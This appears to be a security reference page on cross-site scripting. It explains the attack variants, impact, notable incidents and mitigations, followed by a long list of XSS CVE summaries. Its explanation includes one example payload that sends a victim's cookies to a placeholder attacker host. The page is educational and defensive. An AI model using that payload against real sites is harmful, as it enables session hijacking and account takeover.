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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39228)

EPSS 0% CVSS 4.8
MEDIUM This Month

Authenticated (shop manager+) Reflected Cross-Site Scripting (XSS) vulnerability in AlgolPlus Advanced Order Export For WooCommerce plugin <= 3.3.1 at WordPress. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Advanced Order Export For Woocommerce
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository appwrite/appwrite prior to 1.0.0-RC1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Appwrite
NVD GitHub
EPSS 71% CVSS 9.0
CRITICAL POC PATCH THREAT Act Now

XWiki Platform Mentions UI is a user interface for mentioning users in wiki content for XWiki Platform, a generic wiki platform. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Xwiki
NVD GitHub
EPSS 57% CVSS 6.1
MEDIUM POC PATCH THREAT This Month

XWiki Platform Attachment UI provides a macro to easily upload and select attachments for XWiki Platform, a generic wiki platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Xwiki
NVD GitHub
EPSS 59% CVSS 9.0
CRITICAL PATCH Act Now

The XWiki Platform Index UI is an Index of all pages, attachments, orphans and deleted pages and attachments for XWiki Platform, a generic wiki platform. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Xwiki
NVD GitHub
EPSS 64% CVSS 9.0
CRITICAL POC PATCH THREAT Act Now

XWiki Platform Web Parent POM contains Web resources for the XWiki platform, a generic wiki platform. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Xwiki
NVD GitHub
EPSS 1% CVSS 8.8
HIGH POC PATCH This Week

Improper Restriction of Rendered UI Layers or Frames in GitHub repository ikus060/rdiffweb prior to 2.4.1. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Rdiffweb
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

TastyIgniter v3.5.0 was discovered to contain a cross-site scripting (XSS) vulnerability which allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Tastyigniter
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Jitsi-2.10.5550 was discovered to contain a vulnerability in its web UI which allows attackers to perform a clickjacking attack via a crafted HTTP request. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Jitsi
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Generic in GitHub repository jgraph/drawio prior to 20.3.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Drawio
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Generic in GitHub repository jgraph/drawio prior to 20.3.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Drawio
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM This Month

Nagios XI before v5.8.7 was discovered to contain a cross-site scripting (XSS) vulnerability via the ajax.php script in CCM 3.1.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Nagios Xi
NVD
EPSS 2% CVSS 4.8
MEDIUM This Month

Nagios XI v5.8.6 was discovered to contain a cross-site scripting (XSS) vulnerability via the System Performance Settings page under the Admin panel. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nagios Xi
NVD
EPSS 2% CVSS 6.1
MEDIUM This Month

Nagios XI v5.8.6 was discovered to contain a cross-site scripting (XSS) vulnerability via the MTR component in version 1.0.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Nagios Xi
NVD
EPSS 2% CVSS 6.1
MEDIUM This Month

Nagios XI before v5.8.7 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities at auditlog.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Nagios Xi
NVD
EPSS 2% CVSS 4.8
MEDIUM This Month

Nagios XI v5.8.6 was discovered to contain a cross-site scripting (XSS) vulnerability via the System Settings page under the Admin panel. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nagios Xi
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Wikmd is a file based wiki that uses markdown. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Wikmd
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

ftcms 2.1 poster.PHP has a XSS vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Ftcms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

Persistent cross-site scripting (XSS) in Crime Reporting System 1.0 allows a remote attacker to introduce arbitary Javascript via manipulation of an unsanitized POST parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Crime Reporting System
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Discourse-Chat is an asynchronous messaging plugin for the Discourse open-source discussion platform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Discourse Chat
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability exists in the management web interface of WatchGuard Firebox and XTM appliances. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Watchguard XSS Fireware
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Authenticated (admin+) Cross-Site Scripting (XSS) vulnerability in wpdevart Poll, Survey, Questionnaire and Voting system plugin <= 1.7.4 at WordPress. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Poll Survey Questionnaire And Voting System
NVD
EPSS 5% CVSS 5.5
MEDIUM POC PATCH This Month

The WP-UserOnline plugin for WordPress has multiple Stored Cross-Site Scripting vulnerabilities in versions up to, and including 2.88.0. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Wp Useronline
NVD GitHub Exploit-DB VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

The Image Hover Effects Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Video Link values that can be added to an Image Hover in versions up to, and including, 9.7.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Image Hover Effects Ultimate
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Image Hover Effects Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Media Image URL value that can be added to an Image Hover in versions up to, and including,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Image Hover Effects Ultimate
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Beaver Builder - WordPress Page Builder for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Image URL' value found in the Media block in versions up to, and including, 2.5.5.2 due. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Beaver Builder
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Beaver Builder - WordPress Page Builder for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Text Editor' block in versions up to, and including, 2.5.5.2 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Beaver Builder
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Beaver Builder - WordPress Page Builder for WordPress is vulnerable to Stored Cross-Site Scripting via the 'caption' parameter added to images via the media uploader in versions up to, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Beaver Builder
NVD
EPSS 0% CVSS 8.8
HIGH PATCH This Week

The uContext for Clickbank plugin for WordPress is vulnerable to Cross-Site Request Forgery to Cross-Site Scripting in versions up to, and including 3.9.1. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Request Forgery (CSRF) vulnerability could allow attackers to trick authenticated users into performing unintended actions.

PHP XSS WordPress +2
NVD VulDB
EPSS 0% CVSS 8.8
HIGH PATCH This Week

The uContext for Amazon plugin for WordPress is vulnerable to Cross-Site Request Forgery to Cross-Site Scripting in versions up to, and including 3.9.1. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Request Forgery (CSRF) vulnerability could allow attackers to trick authenticated users into performing unintended actions.

XSS WordPress PHP +2
NVD VulDB
EPSS 0% CVSS 8.8
HIGH PATCH This Week

The Link Optimizer Lite plugin for WordPress is vulnerable to Cross-Site Request Forgery to Cross-Site Scripting in versions up to, and including 1.4.5. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Request Forgery (CSRF) vulnerability could allow attackers to trick authenticated users into performing unintended actions.

XSS PHP WordPress +2
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

The Beaver Builder - WordPress Page Builder for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Caption - On Hover' value associated with images in versions up to, and including,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Beaver Builder
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

The Visual Composer Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the post/page 'Title' value in versions up to, and including, 45.0 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Visual Composer Website Builder
NVD
EPSS 0% CVSS 6.4
MEDIUM POC PATCH This Month

The Simple Banner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `pro_version_activation_code` parameter in versions up to, and including, 2.11.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Simple Banner
NVD GitHub VulDB
EPSS 1% CVSS 5.5
MEDIUM POC PATCH This Month

The WP-UserOnline plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘templates[browsingpage][text]' parameter in versions up to, and including, 2.87.6 due to insufficient. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Wp Useronline
NVD Exploit-DB VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

The Visual Composer Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Text Block' feature in versions up to, and including, 45.0 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Visual Composer Website Builder
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Simple SEO plugin for WordPress is vulnerable to attribute-based stored Cross-Site Scripting in versions up to, and including 1.7.91, due to insufficient sanitization or escaping on the SEO. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Simple Seo
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

An improper neutralization of input during web page generation vulnerability [CWE-79] in the Webmail of FortiMail before 7.2.0 may allow an unauthenticated attacker to trigger a cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Fortimail
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository jgraph/drawio prior to 20.2.8. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Drawio
NVD GitHub
EPSS 1% CVSS 5.5
MEDIUM POC This Month

The Fast Flow WordPress plugin before 1.2.13 does not sanitise and escape some of its Widget settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Fastflow
NVD WPScan
EPSS 1% CVSS 7.2
HIGH POC This Week

The Simple Payment Donations & Subscriptions WordPress plugin before 4.2.1 does not sanitise and escape user input given in its forms, which could allow unauthenticated attackers to perform. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Simple Payment Donations Subscriptions
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM This Month

The WP Database Backup WordPress plugin before 5.9 does not escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Wp Database Backup
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository splitbrain/dokuwiki prior to 2022-07-31a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Dokuwiki Fedora
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

An attacker who is logged into OTRS as an admin user may manipulate customer URL field to store JavaScript code to be run later by any other agent when clicking the customer URL link. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Otrs
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

An attacker who is logged into OTRS as an admin user may manipulate the URL to cause execution of JavaScript in the context of OTRS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Otrs
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Cotonti Siena 0.9.20 allows admins to conduct stored XSS attacks via a direct message (DM). Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cotonti Siena
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Cotonti Siena 0.9.20 allows admins to conduct stored XSS attacks via a forum post. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cotonti Siena
NVD GitHub
EPSS 1% CVSS 8.9
HIGH POC This Week

Server-side JavaScript injection in Appsmith through 1.7.14 allows remote attackers to execute arbitrary JavaScript code from the server via the currentItem property of the list widget, e.g., to. Rated high severity (CVSS 8.9), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Appsmith
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in /client.php of Garage Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Garage Management System
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

This package is a PrestaShop module that allows users to post reviews and rate products. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Productcomments
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM This Month

Apache OFBiz uses the Birt plugin (https://eclipse.github.io/birt-website/) to create data visualizations and reports. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Apache XSS Ofbiz
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Miniblog.Core v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /blog/edit. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Miniblog Core
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Garage Management System v1.0 was discovered to contain a persistent cross-site scripting (XSS) vulnerability via the brand_name parameter at /brand.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Garage Management System
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

BlogEngine v3.3.8.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /blogengine/api/posts. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Blogengine Net
NVD GitHub
EPSS 1% CVSS 3.8
LOW PATCH Monitor

A Stored Cross-site scripting (XSS) vulnerability was found in keycloak as shipped in Red Hat Single Sign-On 7. Rated low severity (CVSS 3.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Red Hat XSS Single Sign On
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

DedeCMS V5.7.97 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities at /dede/co_do.php via the dopost, rpok, and aid parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Dedecms
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Request Forgery (CSRF) vulnerability leading to Stored Cross-Site Scripting (XSS) in CallRail, Inc. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS WordPress +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Authenticated (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in PluginlySpeaking Easy Org Chart plugin <= 3.1 at WordPress. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Easy Org Chart
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Weave GitOps Enterprise before 0.9.0-rc.5 has a cross-site scripting (XSS) bug allowing a malicious user to inject a javascript: link in the UI. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitops
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository francoisjacquet/rosariosis prior to 8.9.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Rosariosis
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Doctor's Appointment System 1.0 is vulnerable to Cross Site Scripting (XSS) via the admin panel. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Doctor S Appointment System
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Piwigo 12.3.0 is vulnerable to Cross Site Scripting (XSS) via /search/1940/created-monthly-list. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Piwigo
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Potential vulnerabilities have been identified in Micro Focus ArcSight Logger. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Information Disclosure XSS Arcsight Logger
NVD
EPSS 1% CVSS 7.5
HIGH This Week

Potential vulnerabilities have been identified in Micro Focus ArcSight Logger. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Information Disclosure XSS Arcsight Logger
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

PicUploader v2.6.3 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /master/index.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Picuploader
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Razor v0.8.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the function uploadchannel(). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Razor
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

LibreNMS v22.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component oxidized-cfg-check.inc.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS PHP Librenms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

LibreNMS v22.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component print-customoid.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS PHP Librenms
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Library Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /librarian/edit_book_details.php. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Library Management System
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Dell EMC Data Protection Advisor versions 19.6 and earlier, contains a Stored Cross Site Scripting, an attacker could potentially exploit this vulnerability, leading to the storage of malicious HTML. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Information Disclosure Dell XSS +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

All versions of package x-data-spreadsheet are vulnerable to Cross-site Scripting (XSS) due to missing sanitization of values inserted into the cells. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS X Data Spreadsheet
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository snipe/snipe-it prior to v6.0.11. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Snipe It
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

kirby is a content management system (CMS) that adapts to many different projects and helps you build your own ideal interface. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Kirby
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Anti-Malware Security and Brute-Force Firewall WordPress plugin before 4.21.83 does not sanitise and escape some parameters before outputting them back in an admin dashboard, leading to Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Anti Malware Security And Brute Force Firewall
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WP Hide & Security Enhancer WordPress plugin before 1.8 does not escape a parameter before outputting it back in an attribute of a backend page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Wp Hide Security Enhancer
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WooCommerce PDF Invoices & Packing Slips WordPress plugin before 3.0.1 does not sanitise and escape some parameters before outputting them back in an attributes of an admin page, leading to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Woocommerce Pdf Invoices Packing Slips
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Simply Schedule Appointments WordPress plugin before 1.5.7.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Simply Schedule Appointments
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

jsoup is a Java HTML parser, built for HTML editing, cleaning, scraping, and cross-site scripting (XSS) safety. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Mozilla XSS Java +4
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

HCL iNotes is susceptible to a Reflected Cross-site Scripting (XSS) vulnerability caused by improper validation of user-supplied input supplied with a form POST request. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Hcl Inotes Domino
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Cross Site Scripting (XSS) in Admin Panel of Subrion CMS 4.2.1 allows attacker to inject arbitrary code via Login Field. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Subrion Cms
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Centreon 22.04.0 is vulnerable to Cross Site Scripting (XSS) from the function Pollers > Broker Configuration by adding a crafted payload into the name parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Centreon
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in Pagekit CMS v1.0.18 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Markdown text box under. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pagekit
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in oretnom23 Fast Food Ordering System. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Fast Food Ordering System
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A vulnerability classified as problematic was found in SourceCodester Simple Task Managing System. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

